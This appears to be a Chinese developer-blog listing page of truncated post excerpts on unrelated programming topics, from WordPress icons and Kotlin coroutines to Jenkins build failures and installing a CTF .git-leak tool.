WordPress主题YIA导航菜单中如何添加Iconfont字体图标?

YIA主题自带的字体图标比较少&#xff0c;一般用于文章属性或分享、点赞等地方&#xff0c;而导航菜单中的字体图标可以说没有&#xff0c;所以想要在菜单中添加字体图标的话&#xff0c;只能自行添加了。下面boke112百科就跟大家详细说一说WordPress主题YIA导航菜单中添加Icon…

【算法】登山(线性DP,最长上升)

题目 五一到了&#xff0c;ACM队组织大家去登山观光&#xff0c;队员们发现山上一共有N个景点&#xff0c;并且决定按照顺序来浏览这些景点&#xff0c;即每次所浏览景点的编号都要大于前一个浏览景点的编号。 同时队员们还有另一个登山习惯&#xff0c;就是不连续浏览海拔相…

单元/集成测试服务

服务概述 单元/集成测试旨在证明被测软件实现其单元/架构设计规范、证明被测软件不包含非预期功能。经纬恒润测试团队拥有丰富的研发经验、严格的流程管控&#xff0c;依据ISO26262/ASPICE等开展符合要求的单元测试/集成测试工作。 在ISO 26262 - part6 部分产品开发&#xff…

Android Studio 安装配置教程 - Windows版

Android Studio下载 安装&#xff1a; 下载&#xff1a; Android Studio Hedgehog | 2023.1.1 | Android Developers (google.cn) 安装&#xff1a; 基本不需要思考跟着走 默认下一步 默认下一步 自定义修改路径&#xff0c;下一步 默认下一步&#xff0c;不勾选 默认下一…

状态码400以及状态码415

首先检查前端传递的参数是放在header里边还是放在body里边。 此图前端传参post请求&#xff0c;定义为’Content-Type’&#xff1a;‘application/x-www-form-urlencoded’ 此刻他的参数在FormData中。看下图 后端接参数应为&#xff08;此刻参数前边什么都不加默认为requestP…

GitHub工作流的使用笔记

文章目录 前言1. 怎么用2. 怎么写前端案例1&#xff1a;自动打包到新分支前端案例2&#xff1a;自动打包推送到gitee的build分支案例3&#xff1a;暂时略 前言 有些东西真的就是要不断的试错不断地试错才能摸索到一点点&#xff0c;就是摸索到凌晨两三点第二天要8点起床感觉要…

Kotlin 协程1:深入理解withContext

Kotlin 协程1&#xff1a;深入理解withContext 引言 在现代编程中&#xff0c;异步编程已经变得非常重要。在 Kotlin 中&#xff0c;协程提供了一种优雅和高效的方式来处理异步编程和并发。在这篇文章中&#xff0c;我们将深入探讨 Kotlin 协程中的一个重要函数&#xff1a;wi…

Java基础—面向对象—19static关键字详解、抽象类、接口、N种内部类

1、static关键字 匿名代码块、静态代码块、构造方法 静态代码块是在类加载的时候执行&#xff0c;仅执行一次 匿名代码块在调用构造函数之前 验证如下图&#xff1a; 2、静态导入包&#xff08;可能很多人听都没听过&#xff09; 3、Math是用final关键字的&#xff0c;fina…

【操作系统·考研】目录

1.概述 与文件管理系统和文件集合相关联的是文件目录&#xff0c;它包含有关文件的属性、位置和所有权等。 2.目录的结构 2.1 单级目录结构 在整个FS中只建立一张目录表&#xff0c;每个文件占一个目录项。 当访问一个文件时&#xff0c;先根据文件名在目录表中找到相应的FC…

数据结构day7

1.思维导图 1.二叉树递归创建 2.二叉树先中后序遍历 3.二叉树计算节点 4.二叉树计算深度。 5.编程实现快速排序降序

Ubuntu-22.04上ToDest设置开机不弹出图形界面

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、开始操作1.设置图形端 总结 前言 有时候远程成为开发必不可少的工具&#xff0c;目前国内有很多相关的软件&#xff0c;比较有名的是向日葵、ToDesk、Rust…

Hutool导入导出用法

整理了下Hutool导入导出的简单使用。 导入maven或jar包&#xff08;注意这里导入的poi只是为了优化样式&#xff09; <!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all --> <dependency><groupId>cn.hutool</groupId><artifactId&g…

iOS17使用safari调试wkwebview

isInspectable配置 之前开发wkwebview的页面的时候一直使用safari调试&#xff0c;毕竟jssdk交互还是要用这个比较方便&#xff0c;虽说用一个脚本插件没问题。不过还是不太方便。 但是这个功能突然到了iOS17之后发现不能用了&#xff0c;还以为又是苹果搞得bug&#xff0c;每…

webassembly003 whisper.cpp的main项目-1

参数设置 /home/pdd/le/whisper.cpp-1.5.0/cmake-build-debug/bin/main options:-h, --help [default] show this help message and exit-t N, --threads N [4 ] number of threads to use during computation-p N, --processors …

PHP的线程安全与非线程安全模式选哪个

曾经初学PHP的时候也很困惑对线程安全与非线程安全模式这块环境的选择&#xff0c;也未能理解其中意。近来无意中看到一个教程对线程安全&#xff08;饿汉式&#xff09;&#xff0c;非线程安全&#xff08;懒汉式&#xff09;的描述&#xff0c;虽然觉得现在已经能够很明了透彻…

Leetcode—1828. 统计一个圆中点的数目【中等】

2024每日刷题&#xff08;一零五&#xff09; Leetcode—1828. 统计一个圆中点的数目 实现代码 class Solution { public:vector<int> countPoints(vector<vector<int>>& points, vector<vector<int>>& queries) {vector<int> a…

互联网金融时代下,SD-WAN如何与金融行业深度融合?

金融行业正处于数字化转型的关键时期&#xff0c;互联网金融作为推动这一转型的重要力量&#xff0c;正在改变金融行业的格局。互联网金融不仅提供了各种在线金融服务&#xff0c;如网上银行、第三方支付和电子商务&#xff0c;还涉及金融科技的应用&#xff0c;如智慧网点、人…

githacker安装详细教程,linux添加环境变量详细教程(见标题三)

笔者是ctf小白&#xff0c;这两天也是遇到.git泄露的题目&#xff0c;需要工具来解决问题&#xff0c;在下载和使用的过程中也是遇到很多问题&#xff0c;写此篇记录经验&#xff0c;以供学习 在本篇标题三中有详细介绍了Linux系统添加环境变量的操作教程&#xff0c;以供学习 …

jenkins发布失败

今天用jenkins发布项目时失败了&#xff0c;而前几天还好好的。 云控制台看了下&#xff0c;发现根本就没打包。 报错如下&#xff1a; 从控制台可以看出&#xff0c;项目依赖没有下载下来&#xff0c;所以打包失败了。 根本原因是&#xff1a;在配置中给yarn指定的淘宝仓库…